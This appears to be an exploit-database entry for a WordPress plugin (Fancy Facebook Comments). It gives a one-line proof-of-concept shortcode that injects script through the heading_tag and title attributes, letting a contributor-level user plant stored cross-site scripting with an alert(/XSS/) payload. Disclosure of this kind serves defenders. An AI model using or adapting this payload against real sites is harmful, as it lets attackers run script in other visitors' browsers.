## https://sploitus.com/exploit?id=WPEX-ID:86CAD9B9-EAA5-4775-8EBF-E9E967CFB439 Put the below shortcode in a post as a contributor or above [Fancy_Facebook_Comments heading_tag='script' title='alert(/XSS/)']